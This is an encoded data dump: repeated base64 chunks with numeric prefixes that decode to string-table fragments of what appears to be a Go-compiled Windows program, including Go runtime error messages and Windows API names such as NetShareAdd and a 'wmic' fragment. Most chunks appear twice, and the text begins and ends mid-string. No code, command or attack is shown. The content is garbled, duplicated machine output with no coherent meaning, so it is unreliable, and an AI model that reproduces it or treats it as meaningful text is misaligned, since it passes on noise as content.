mVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGY=14e:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGZv14f:T554,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVu150:T558,ZXNzdW5yZWFjaGFibGVHZXRGaWxlVHlwZVNZU1RFTVJPT1Q9c2hvcnQgd3JpdGUzMDUxNzU3ODEyNWJhZCBhcmdTaXplbWV0aG9kYXJncyhQcm9jZXNzUHJuZ01vdmVGaWxlRXhXTmV0U2hhcmVBZGROZXRTaGFyZURlbHVzZXJlbnYuZGxsYXNzaXN0UXVldWVuZXRwb2xsSW5pdHJlZmxlY3RPZmZzZ2xvYmFsQWxsb2NtU3Bhbk1hbnVhbHN0YXJ0IHRyYWNlY2xvYmJlcmZyZWVnY2NoZWNrbWFya3NjaGVkZGV0YWlsdW5zcGVjaWZpZWRjZ29jYWxsIG5pbCBzLm5lbGVtcz0gICBvZiBzaXplICBydW50aW1lOiBwICBtcyBjbG9jaywgIG5CU1NSb290cz1ydW50aW1lOiBQICBleHAuKSBmb3IgbWluVHJpZ2dlcj1HT01FTUxJTUlUPWJhZCBtIHZhbHVlLCBlbGVtc2l6ZT0gZnJlZWluZGV4PSBzcGFuLmxpc3Q9LCBucGFnZXMgPSAgcC0+c3RhdHVzPSBpbiBzdGF0dXMgIGlkbGVwcm9jcz0gZ2N3YWl0aW5nPSBzY2hlZHRpY2s9IHRpbWVyc2xlbj0gbWFsbG9jaW5nPWJhZCB0aW1lZGl2ZmxvYXQ2NG5hbjFmbG9hdDY0bmFuMmZsb2F0NjRuYW4zZmxvYXQzMm5hbjJHT1RSQUNFQkFDSykgYXQgZW50cnkrICh0YXJnZXRwYz0gLCBwbHVnaW46IHJ1bm5pbmcgPCAwcnVudGltZTogZyA6IGZyYW1lLnNwPWNyZWF0ZWQgYnkgYnJva2VuIHBpcGVhbGFybSBjbG9ja2JhZCBtZXNzYWdlZmlsZSBleGlzdHNiYWQgYWRkcmVzc1JlZ0Nsb3NlS2V5Q2xvc2VIYW5kbGVDcmVhdGVGaWxlV0RlbGV0ZUZpbGVXRXhpdFByb2Nlc3NGcmVlTGlicmFyeVNldEZpbGVUaW1lVmlydHVhbExvY2tXU0FSZWN2RnJvbWNsb3Nlc29ja2V0Z2V0cGVlcm5hbWVnZXRzb2NrbmFtZWNyeXB0MzIuZGxsbXN3c29jay5kbGxzZWN1cjMyLmRsbHNoZWxsMzIuZGxsaS9vIHRpbWVvdXRnb2NhY2hlaGFzaGdvY2FjaGV0ZXN0aHR0cDJjbGllbnRodHRwMnNlcnZlcnJhbmRzZWVkbm9wYXJjaGl2ZS90YXJ0bHMxMHNlcnZlcmNyeXB0by94NTA5YXJjaGl2ZS96aXBleGl0IHN0YXR1cyBjYW4ndCBoYXBwZW4xNTI1ODc4OTA2MjU3NjI5Mzk0NTMxMjVPcGVuUw==151:T550,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0152:T554,Z2VuZXJhdGlvbnRyYWNlOiBub24tZW1wdHkgZnVsbCB0cmFjZSBidWZmZXIgZm9yIG5leHQgZ2VuZXJhdGlvbmdvcm91dGluZSBydW5uaW5nIG9uIG90aGVyIHRocmVhZDsgc3RhY2sgdW5hdmFpbGFibGVpbnRlcm5hbCBlcnJvcjogbmVnYXRpdmUgcHJvY2VzcyBoYW5kbGUgcmVmZXJlbmNlIGNvdW50U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cVGltZSBab25lc3JlZmxlY3Q6IGludGVybmFsIGVycm9yOiBpbnZhbGlkIHVzZSBvZiBtYWtlTWV0aG9kVmFsdWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgZnJlZSBvZiB1c2VyIGFyZW5hIGNodW5rY2FzZnJvbV9Hc2NhbnN0YXR1czp0b3AgZ3AtPnN0YXR1cyBpcyBub3QgaW4gc2NhbiBzdGF0ZSBpcyBjdXJyZW50bHkgbm90IHN1cHBvcnRlZCBmb3IgdXNlIGluIHN5c3RlbSBjYWxsYmFja3NzdHJpbmdzOiBpbGxlZ2FsIHVzZSBvZiBub24temVybyBCdWlsZGVyIGNvcGllZCBieSB2YWx1ZW5vbi1lbXB0eSBwb2ludGVyIG1hcCBwYXNzZWQgZm9yIG5vbi1wb2ludGVyLXNpemUgdmFsdWVzZmFpbGVkIHRvIGFsbG9jYXRlIGFsaWduZWQgaGVhcCBtZW1vcnk7IHRvbyBtYW55IHJldHJpZXNwcm9maWxlYWxsb2MgY2FsbGVkIHdpdGhvdXQgYSBQIG9yIG91dHNpZGUgYm9vdHN0cmFwcGluZ2RldGVjdGVkIHBvc3NpYmxlIGlzc3VlcyB3aXRoIGNsZWFudXBzIGFuZC9vciBmaW5hbGl6ZXJzaW4gZ2NNYXJrIGV4cGVjdGluZyB0byBzZWUgZ2NwaGFzZSBhcyBfR0NtYXJrdGVybWluYXRpb25ydW50aW1lOiBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZDsgZXJybm89IGNhbm5vdCBydW4gZXhlY3V0YWJsZSBmb3VuZCByZWxhdGl2ZSB0byBjdXJyZW50IGRpcmVjdG9yeSAoc2V0IEdPREVCVUc9ZXhlY3dhaXQ9MiB0byBjYXB0dXJlIHN0YWNrcyBmb3IgZGVidWdnaW5nKXJ1bnRpbWU6IGNoZWNrbWFya3MgZm91bmQgdW5leHBlY3RlZCB1bm1hcmtlZCBvYmplY3Qgb2JqPXdtaWMgY29tcHV0ZQ==153:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHQ=154:T554,aW5kZXggb3V0IG9mIHJhbmdlc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4OiV5XXNsaWNlIGJvdW5kcyBvdXQgb2YgcmFuZ2UgWyV4OiV5Ol1vdXQgb2YgbWVtb3J5IGFsbG9jYXRpbmcgYWxsQXJlbmFzLi4uIHRvbyBtYW55IHBvdGVudGlhbCBpc3N1ZXMgLi4uL21lbW9yeS9jbGFzc2VzL2hlYXAvb2JqZWN0czpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBjYW5ub3QgcGFzcyB0b28gbWFueSBwYWdlcyBhbGxvY2F0ZWQgaW4gY2h1bms/bXNwYW4uZW5zdXJlU3dlcHQ6IG0gaXMgbm90IGxvY2tlZHJ1bnRpbWU6IHNvdXJjZSB2YWx1ZSBpcyB0b28gbGFyZ2VWaXJ0dWFsUXVlcnkgZm9yIHN0YWNrIGJhc2UgZmFpbGVkZm9yRWFjaFA6IHNjaGVkLnNhZmVQb2ludFdhaXQgIT0gMHNjaGVkdWxlOiBzcGlubmluZyB3aXRoIGxvY2FsIHdvcmtlbnRlcnN5c2NhbGxibG9jayBpbmNvbnNpc3RlbnQgYnAgZW50ZXJzeXNjYWxsYmxvY2sgaW5jb25zaXN0ZW50IHNwIHJ1bnRpbWU6IGcgaXMgcnVubmluZyBidXQgcCBpcyBub3RpbnZhbGlkIHRpbWVyIGNoYW5uZWw6IG5vIGNhcGFjaXR5dG9vIG1hbnkgcmVmZXJlbmNlczogY2Fubm90IHNwbGljZVNldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXN1bmV4cGVjdGVkIHJ1bnRpbWUubmV0cG9sbCBlcnJvcjogZXhlY3V0YWJsZSBmaWxlIG5vdCBmb3VuZCBpbiAlUEFUSCUyMDA2LTAxLTAyVDE1OjA0OjA1Ljk5OTk5OTk5OVowNzowMDE3NzYzNTY4Mzk0MDAyNTA0NjQ2Nzc4MTA2Njg5NDUzMTI1ODg4MTc4NDE5NzAwMTI1MjMyMzM4OTA1MzM0NDcyNjU2MjVyeXVGdG9hRml4ZWQzMiBjYWxsZWQgd2l0aCBwcmVjID4gOXBlcnNpc3RlbnRhbGxvYzogYWxpZ24gaXMgdG9vIGxhcmdlL21lbW9yeS9jbGFzc2VzL2hlYXAvcmVsZWFzZWQ6Ynl0ZXNncmV5b2JqZWN0OiBvYmogbm90IHBvaW50ZXItYWxpZ25lZG1pc21hdGNoZWQgYmVnaW4vZW5kIG9mIGFjdGl2ZVN3ZWVwbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIGZyZWVhdHRlbXB0IHRv155:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGU=156:T554,aXMgbmlsIGFuZCBsZW4gaXMgbm90IHplcm9oYW5kbGVUcmFuc2llbnRBY3F1aXJlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVoYW5kbGVUcmFuc2llbnRSZWxlYXNlIGNhbGxlZCBpbiBpbnZhbGlkIG1vZGVyZWZsZWN0OiBpbnRlcm5hbCBlcnJvcjogaW52YWxpZCBtZXRob2QgaW5kZXhjbG9zZSBvZiBzeW5jdGVzdCBjaGFubmVsIGZyb20gb3V0c2lkZSBidWJibGUgIG1heSBiZSBpbiB0aGUgc2FtZSB0aW55IGJsb2NrIGFzIGZpbmFsaXplcnRyYW5zaXRpb25pbmcgR0MgdG8gdGhlIHNhbWUgc3RhdGUgYXMgYmVmb3JlP3Byb2R1Y2VkIGEgdHJpZ2dlciBncmVhdGVyIHRoYW4gdGhlIGhlYXAgZ29hbHRyaWVkIHRvIHJ1biBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IGZhaWxlZCBtU3Bhbkxpc3QucmVtb3ZlIHNwYW4ubnBhZ2VzPXJ1bnRpbWUubWluaXQ6IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IENyZWF0ZVdhaXRhYmxlVGltZXJFeCBmYWlsZWQ7IGVycm5vPWV4aXRzeXNjYWxsOiBzeXNjYWxsIGZyYW1lIGlzIG5vIGxvbmdlciB2YWxpZHVuc2FmZS5TdHJpbmc6IHB0ciBpcyBuaWwgYW5kIGxlbiBpcyBub3QgemVyb2Nhbm5vdCBzZW5kIGFmdGVyIHRyYW5zcG9ydCBlbmRwb2ludCBzaHV0ZG93bm9zOiB1bmV4cGVjdGVkIHJlc3VsdCBmcm9tIFdhaXRGb3JTaW5nbGVPYmplY3RydW50aW1lLkFkZENsZWFudXA6IHB0ciBub3QgaW4gYWxsb2NhdGVkIGJsb2Nrc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOiV4XSB3aXRoIGxlbmd0aCAleXBhbmljd3JhcDogdW5leHBlY3RlZCBzdHJpbmcgYWZ0ZXIgdHlwZSBuYW1lOiBtZW1vcnkgcmVzZXJ2YXRpb24gZXhjZWVkcyBhZGRyZXNzIHNwYWNlIGxpbWl0dHJpZWQgdG8gcGFyayBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJlbGVhc2VkIGxlc3MgdGhhbiBvbmUgcGh5c2ljYWwgcGFnZSBvZiBtZW1vcnlzeXNHcm93IGJvdW5kcyBub3QgYWxpZ25lZCB0byBwYWxsb2NDaHVua0J5dGVz157:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdA==158:T554,bGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhDYW5hZGEgQ2VudHJhbCBTdGFuZGFyZCBUaW1lQ2VuLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZUF1cyBDZW50cmFsIFcuIFN0YW5kYXJkIFRpbWVDZW50cmFsIEV1cm9wZSBTdGFuZGFyZCBUaW1lRW5nbGlzaCBuYW1lIGZvciB0aW1lIHpvbmUgIjE4MTg5ODk0MDM1NDU4NTY0NzU4MzAwNzgxMjU5MDk0OTQ3MDE3NzI5MjgyMzc5MTUwMzkwNjI1R0MgbWFyayBhc3Npc3Qgd2FpdCBmb3Igd29ya2NvbXBhcmluZyB1bmNvbXBhcmFibGUgdHlwZSByZWdpb24gZXhjZWVkcyB1aW50cHRyIHJhbmdlL2djL2hlYXAvZnJlZXMtYnktc2l6ZTpieXRlcy9nYy9oZWFwL3RpbnkvYWxsb2NzOm9iamVjdHMvc2NoZWQvZ29yb3V0aW5lczpnb3JvdXRpbmVzZ2NCZ01hcmtXb3JrZXI6IG1vZGUgbm90IHNldG1zcGFuLnN3ZWVwOiBtIGlzIG5vdCBsb2NrZWRmb3VuZCBwb2ludGVyIHRvIGZyZWUgb2JqZWN0bWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBzcGFuIHJ1bnRpbWUuc2VtYXNsZWVwIHVuZXhwZWN0ZWRmYXRhbDogbW9yZXN0YWNrIG9uIGdzaWduYWxydW50aW1lOiBjYXNnc3RhdHVzOiBvbGR2YWw9Z2NzdG9wbTogbmVnYXRpdmUgbm1zcGlubmluZ2ZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHBzYXZlIG9uIHN5c3RlbSBnIG5vdCBhbGxvd2VkbmV3cHJvYzE6IG5ld2cgbWlzc2luZyBzdGFja25ld3Byb2MxOiBuZXcgZyBpcyBub3QgR2RlYWRGaXhlZFN0YWNrIGlzIG5vdCBwb3dlci1vZi0ybWlzc2luZyBzdGFjayBpbiBzaHJpbmtzdGFjayBhcmdzIHN0YWNrIG1hcCBlbnRyaWVzIGZvciBpbnZhbGlkIHJ1bnRpbWUgc3ltYm9sIHRhYmxlcnVudGltZTogbm8gbW9kdWxlIGRhdGEgZm9yIG1pc21hdGNoZWQgaXNTZW5kaW5nIHVwZGF0ZXNbb3JpZ2luYXRpbmcgZnJvbSBnb3JvdXRpbmUgdHJhY2VSZWdpb246IGFsbG9jIHRvbyBsYXJnZWZpbGUgZGVzY3JpcHRvciBpbiBiYWQgc3RhdGVkZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdCBh159:T554,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWd